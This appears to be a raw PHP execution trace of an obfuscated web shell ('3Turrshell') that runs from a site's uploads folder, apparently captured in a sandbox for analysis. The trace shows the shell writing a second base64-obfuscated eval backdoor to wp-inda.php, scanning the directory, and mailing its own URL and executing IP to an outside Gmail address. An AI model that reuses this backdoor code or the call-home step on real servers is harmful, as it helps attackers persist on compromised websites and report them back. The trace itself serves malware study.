3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	93	$css_file = '/var/www/html/uploads/data/wp-inda.php'
4	67	0	1.715491	1417584	fopen	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	2	'/var/www/html/uploads/data/wp-inda.php'	'w'
4	67	1	1.715524	1418136
4	67	R			resource(11) of type (stream)
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	$open_css = resource(11) of type (stream)
4	68	0	1.715553	1418040	fwrite	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	95	2	resource(11) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	68	1	1.715647	1418104
4	68	R			41293
4	69	0	1.715661	1418040	fclose	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	96	1	resource(11) of type (stream)
4	69	1	1.715678	1417616
4	69	R			TRUE
4	70	0	1.715991	1425888	dirname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	194	1	'/var/www/html/uploads/uzip.php(4) : eval()\'d code(1) : eval()\'d code'
4	70	1	1.716010	1426016
4	70	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	194	$unzip_location = '/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	196	$dir = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	197	$action = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	198	$unzip = ''
4	71	0	1.716074	1425984	getcwd	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	202	0
4	71	1	1.716089	1426032
4	71	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	202	$basedir = '/var/www/html/uploads'
4	72	0	1.716116	1426032	str_replace	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	203	3	'\\'	'/'	'/var/www/html/uploads'
4	72	1	1.716133	1426128
4	72	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	203	$basedir = '/var/www/html/uploads'
4	73	0	1.716159	1426032	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	205	1	''
4	73	1	1.716174	1426072
4	73	R			FALSE
4	74	0	1.716187	1426032	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	274	1	'/var/www/html/uploads'
4	74	1	1.716204	1426064
4	74	R			TRUE
4	75	0	1.716217	1426024	dirname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	276	1	'/var/www/html/uploads'
4	75	1	1.716231	1426104
4	75	R			'/var/www/html'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	276	$parent = '/var/www/html'
4	76	0	1.716258	1426072	getcwd	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	284	0
4	76	1	1.716271	1426120
4	76	R			'/var/www/html/uploads'
4	77	0	1.716285	1426120	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	284	1	'/var/www/html/uploads'
4	77	1	1.716318	1426784
4	77	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php', 6 => 'wp-inda.php']
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	284	$files = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php', 6 => 'wp-inda.php']
4	78	0	1.716358	1426704	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'.'
4	78	1	1.716374	1426728
4	78	R			TRUE
4	79	0	1.716387	1426688	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'..'
4	79	1	1.716403	1426728
4	79	R			TRUE
4	80	0	1.716416	1426688	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'.htaccess'
4	80	1	1.716431	1426736
4	80	R			FALSE
4	81	0	1.716444	1426696	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'data'
4	81	1	1.716458	1426728
4	81	R			TRUE
4	82	0	1.716477	1426688	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'prepend.php'
4	82	1	1.716493	1426736
4	82	R			FALSE
4	83	0	1.716505	1426696	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'uzip.php'
4	83	1	1.716520	1426736
4	83	R			FALSE
4	84	0	1.716533	1426696	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'wp-inda.php'
4	84	1	1.716548	1426736
4	84	R			FALSE
4	85	0	1.716561	1426720	reset	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	292	1	[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php', 6 => 'wp-inda.php']
4	85	1	1.716580	1426752
4	85	R			NULL
4	86	0	1.716593	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'.'
4	86	1	1.716608	1426752
4	86	R			FALSE
4	87	0	1.716620	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'.'
4	87	1	1.716633	1426752
4	87	R			FALSE
4	88	0	1.716702	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'..'
4	88	1	1.716723	1426752
4	88	R			FALSE
4	89	0	1.716749	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'..'
4	89	1	1.716762	1426752
4	89	R			FALSE
4	90	0	1.716775	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'.htaccess'
4	90	1	1.716790	1426760
4	90	R			TRUE
4	91	0	1.716803	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'.htaccess'
5	92	0	1.716818	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'.htaccess'
5	92	1	1.716833	1427424
5	92	R			['dirname' => '.', 'basename' => '.htaccess', 'extension' => 'htaccess', 'filename' => '']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => '.htaccess', 'extension' => 'htaccess', 'filename' => '']
4	91	1	1.716877	1426760
4	91	R			'htaccess'
4	93	0	1.716891	1426760	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'htaccess'
4	93	1	1.716905	1426792
4	93	R			'htaccess'
4	94	0	1.716918	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'.htaccess'
4	94	1	1.716931	1426760
4	94	R			TRUE
4	95	0	1.716945	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'data'
4	95	1	1.716960	1426752
4	95	R			FALSE
4	96	0	1.716973	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'data'
4	96	1	1.716986	1426752
4	96	R			FALSE
4	97	0	1.716999	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'prepend.php'
4	97	1	1.717014	1426760
4	97	R			TRUE
4	98	0	1.717027	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'prepend.php'
5	99	0	1.717040	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'prepend.php'
5	99	1	1.717055	1427416
5	99	R			['dirname' => '.', 'basename' => 'prepend.php', 'extension' => 'php', 'filename' => 'prepend']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => 'prepend.php', 'extension' => 'php', 'filename' => 'prepend']
4	98	1	1.717091	1426752
4	98	R			'php'
4	100	0	1.717104	1426752	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'php'
4	100	1	1.717118	1426784
4	100	R			'php'
4	101	0	1.717130	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'prepend.php'
4	101	1	1.717144	1426760
4	101	R			TRUE
4	102	0	1.717157	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'uzip.php'
4	102	1	1.717173	1426760
4	102	R			TRUE
4	103	0	1.717185	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'uzip.php'
5	104	0	1.717199	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'uzip.php'
5	104	1	1.717213	1427416
5	104	R			['dirname' => '.', 'basename' => 'uzip.php', 'extension' => 'php', 'filename' => 'uzip']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => 'uzip.php', 'extension' => 'php', 'filename' => 'uzip']
4	103	1	1.717251	1426752
4	103	R			'php'
4	105	0	1.717265	1426752	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'php'
4	105	1	1.717278	1426784
4	105	R			'php'
4	106	0	1.717291	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'uzip.php'
4	106	1	1.717304	1426760
4	106	R			TRUE
4	107	0	1.717317	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'wp-inda.php'
4	107	1	1.717332	1426760
4	107	R			TRUE
4	108	0	1.717345	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'wp-inda.php'
5	109	0	1.717358	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'wp-inda.php'
5	109	1	1.717373	1427416
5	109	R			['dirname' => '.', 'basename' => 'wp-inda.php', 'extension' => 'php', 'filename' => 'wp-inda']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => 'wp-inda.php', 'extension' => 'php', 'filename' => 'wp-inda']
4	108	1	1.717409	1426752
4	108	R			'php'
4	110	0	1.717422	1426752	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'php'
4	110	1	1.717435	1426784
4	110	R			'php'
4	111	0	1.717448	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'wp-inda.php'
4	111	1	1.717461	1426760
4	111	R			TRUE
4	112	0	1.717475	1426720	date	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	309	1	'd/m/Y - H:i:s'
4	112	1	1.719522	1429072
4	112	R			'12/02/2023 - 16:48:12'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	309	$time_shell = '12/02/2023 - 16:48:12'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	310	$ip_remote = '127.0.0.1'
4	113	0	1.719572	1428832	gethostbyname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	311	1	'localhost'
4	113	1	1.719612	1428912
4	113	R			'127.0.0.1'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	311	$from_shellcode = '3Turrshell@127.0.0.1'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	312	$to_email = 'loginoldum@gmail.com'
4	114	0	1.719653	1428880	gethostbyname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	313	1	'localhost'
4	114	1	1.719685	1428960
4	114	R			'127.0.0.1'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	313	$server_mail = '127.0.0.1  - localhost'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	314	$linkcr = 'Link: localhost/uploads/uzip.php - IP Excuting: 127.0.0.1 - Time: 12/02/2023 - 16:48:12'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	315	$header = 'From: 3Turrshell@127.0.0.1\r\nReply-to: 3Turrshell@127.0.0.1'
4	115	0	1.719758	1429136	mail	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	316	4	'loginoldum@gmail.com'	'127.0.0.1  - localhost'	'Link: localhost/uploads/uzip.php - IP Excuting: 127.0.0.1 - Time: 12/02/2023 - 16:48:12'	'From: 3Turrshell@127.0.0.1\r\nReply-to: 3Turrshell@127.0.0.1'
4	115	1	1.720636	1429280
4	115	R			FALSE
4	116	0	1.720662	1429136	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_READ_BLOCK_SIZE'	2048
4	116	1	1.720730	1429240
4	116	R			TRUE
4	117	0	1.720747	1429168	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_SEPARATOR'	','
4	117	1	1.720764	1429272
4	117	R			TRUE
4	118	0	1.720777	1429200	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERROR_EXTERNAL'	0
4	118	1	1.720792	1429304
4	118	R			TRUE
4	119	0	1.720804	1429232	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_TEMPORARY_DIR'	''
4	119	1	1.720823	1429336
4	119	R			TRUE
4	120	0	1.720838	1429264	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_TEMPORARY_FILE_RATIO'	0.47
4	120	1	1.720855	1429368
4	120	R			TRUE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	$g_pclzip_version = '2.8.2'
4	121	0	1.720882	1429296	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_USER_ABORTED'	2
4	121	1	1.720903	1429400
4	121	R			TRUE
4	122	0	1.720916	1429328	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_NO_ERROR'	0
4	122	1	1.720931	1429432
4	122	R			TRUE
4	123	0	1.720944	1429360	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_WRITE_OPEN_FAIL'	-1
4	123	1	1.720962	1429464
4	123	R			TRUE
4	124	0	1.720976	1429392	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_READ_OPEN_FAIL'	-2
4	124	1	1.720991	1429496
4	124	R			TRUE
4	125	0	1.721003	1429424	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_PARAMETER'	-3
4	125	1	1.721019	1429528
4	125	R			TRUE
4	126	0	1.721032	1429456	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_MISSING_FILE'	-4
4	126	1	1.721046	1429560
4	126	R			TRUE
4	127	0	1.721059	1429488	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_FILENAME_TOO_LONG'	-5
4	127	1	1.721074	1429592
4	127	R			TRUE
4	128	0	1.721086	1429520	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_ZIP'	-6
4	128	1	1.721101	1429624
4	128	R			TRUE
4	129	0	1.721113	1429552	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_EXTRACTED_FILE'	-7
4	129	1	1.721128	1429656
4	129	R			TRUE
4	130	0	1.721140	1429584	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_DIR_CREATE_FAIL'	-8
4	130	1	1.721155	1429688
4	130	R			TRUE
4	131	0	1.721167	1429616	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_EXTENSION'	-9
4	131	1	1.721182	1429720
4	131	R			TRUE
4	132	0	1.721195	1429648	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_FORMAT'	-10
4	132	1	1.721210	1429752
4	132	R			TRUE
4	133	0	1.721222	1429680	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_DELETE_FILE_FAIL'	-11
4	133	1	1.721237	1429784
4	133	R			TRUE
4	134	0	1.721249	1429712	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_RENAME_FILE_FAIL'	-12
4	134	1	1.721264	1429816
4	134	R			TRUE
4	135	0	1.721276	1429744	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_BAD_CHECKSUM'	-13
4	135	1	1.721291	1429848
4	135	R			TRUE
4	136	0	1.721303	1429776	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_ARCHIVE_ZIP'	-14
4	136	1	1.721318	1429880
4	136	R			TRUE
4	137	0	1.721330	1429808	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_MISSING_OPTION_VALUE'	-15
4	137	1	1.721346	1429912
4	137	R			TRUE
4	138	0	1.721358	1429840	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_OPTION_VALUE'	-16
4	138	1	1.721373	1429944
4	138	R			TRUE
4	139	0	1.721385	1429872	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_ALREADY_A_DIRECTORY'	-17
4	139	1	1.721400	1429976
4	139	R			TRUE
4	140	0	1.721412	1429904	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_UNSUPPORTED_COMPRESSION'	-18
4	140	1	1.721427	1430008
4	140	R			TRUE
4	141	0	1.721440	1429936	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION'	-19
4	141	1	1.721455	1430040
4	141	R			TRUE
4	142	0	1.721468	1429968	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE'	-20
4	142	1	1.721483	1430072
4	142	R			TRUE
4	143	0	1.721496	1430000	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ERR_DIRECTORY_RESTRICTION'	-21
4	143	1	1.721514	1430104
4	143	R			TRUE
4	144	0	1.721527	1430032	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_PATH'	77001
4	144	1	1.721541	1430136
4	144	R			TRUE
4	145	0	1.721554	1430064	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_PATH'	77002
4	145	1	1.721569	1430168
4	145	R			TRUE
4	146	0	1.721581	1430096	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_REMOVE_PATH'	77003
4	146	1	1.721596	1430200
4	146	R			TRUE
4	147	0	1.721608	1430128	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_REMOVE_ALL_PATH'	77004
4	147	1	1.721623	1430232
4	147	R			TRUE
4	148	0	1.721635	1430160	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_SET_CHMOD'	77005
4	148	1	1.721649	1430264
4	148	R			TRUE
4	149	0	1.721662	1430192	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_EXTRACT_AS_STRING'	77006
4	149	1	1.721676	1430296
4	149	R			TRUE
4	150	0	1.721688	1430224	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_NO_COMPRESSION'	77007
4	150	1	1.721704	1430328
4	150	R			TRUE
4	151	0	1.721716	1430256	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_NAME'	77008
4	151	1	1.721731	1430360
4	151	R			TRUE
4	152	0	1.721743	1430288	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_INDEX'	77009
4	152	1	1.721758	1430392
4	152	R			TRUE
4	153	0	1.721770	1430320	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_EREG'	77010
4	153	1	1.721784	1430424
4	153	R			TRUE
4	154	0	1.721797	1430352	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_BY_PREG'	77011
4	154	1	1.721811	1430456
4	154	R			TRUE
4	155	0	1.721823	1430384	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_COMMENT'	77012
4	155	1	1.721837	1430488
4	155	R			TRUE
4	156	0	1.721849	1430416	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_COMMENT'	77013
4	156	1	1.721863	1430520
4	156	R			TRUE
4	157	0	1.721875	1430448	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_PREPEND_COMMENT'	77014
4	157	1	1.721891	1430552
4	157	R			TRUE
4	158	0	1.721903	1430480	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_EXTRACT_IN_OUTPUT'	77015
4	158	1	1.721919	1430584
4	158	R			TRUE
4	159	0	1.721931	1430512	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_REPLACE_NEWER'	77016
4	159	1	1.721945	1430616
4	159	R			TRUE
4	160	0	1.721957	1430544	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_STOP_ON_ERROR'	77017
4	160	1	1.721972	1430648
4	160	R			TRUE
4	161	0	1.721984	1430576	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION'	77019
4	161	1	1.722000	1430680
4	161	R			TRUE
4	162	0	1.722012	1430608	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_TEMP_FILE_THRESHOLD'	77020
4	162	1	1.722028	1430712
4	162	R			TRUE
4	163	0	1.722040	1430640	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD'	77020
4	163	1	1.722056	1430744
4	163	R			TRUE
4	164	0	1.722068	1430672	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_TEMP_FILE_ON'	77021
4	164	1	1.722083	1430776
4	164	R			TRUE
4	165	0	1.722095	1430704	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_TEMP_FILE_ON'	77021
4	165	1	1.722110	1430808
4	165	R			TRUE
4	166	0	1.722127	1430736	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_TEMP_FILE_OFF'	77022
4	166	1	1.722142	1430840
4	166	R			TRUE
4	167	0	1.722154	1430768	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_OPT_ADD_TEMP_FILE_OFF'	77022
4	167	1	1.722170	1430872
4	167	R			TRUE
4	168	0	1.722182	1430800	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_NAME'	79001
4	168	1	1.722195	1430904
4	168	R			TRUE
4	169	0	1.722207	1430832	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_NEW_SHORT_NAME'	79002
4	169	1	1.722222	1430936
4	169	R			TRUE
4	170	0	1.722235	1430864	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_NEW_FULL_NAME'	79003
4	170	1	1.722250	1430968
4	170	R			TRUE
4	171	0	1.722263	1430896	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_MTIME'	79004
4	171	1	1.722280	1431000
4	171	R			TRUE
4	172	0	1.722293	1430928	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_CONTENT'	79005
4	172	1	1.722307	1431032
4	172	R			TRUE
4	173	0	1.722319	1430960	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_ATT_FILE_COMMENT'	79006
4	173	1	1.722334	1431064
4	173	R			TRUE
4	174	0	1.722346	1430992	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_PRE_EXTRACT'	78001
4	174	1	1.722360	1431096
4	174	R			TRUE
4	175	0	1.722372	1431024	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_POST_EXTRACT'	78002
4	175	1	1.722386	1431128
4	175	R			TRUE
4	176	0	1.722397	1431056	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_PRE_ADD'	78003
4	176	1	1.722411	1431160
4	176	R			TRUE
4	177	0	1.722423	1431088	define	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	332	2	'PCLZIP_CB_POST_ADD'	78004
4	177	1	1.722438	1431192
4	177	R			TRUE
3	19	1	1.722454	1431120
2	7	1	1.722468	1341008
1	3	1	1.722476	1337712
			1.722528	1246680
TRACE END   [2023-02-12 19:48:38.437909]


Generated HTML code

<html><head><script type="text/javascript">
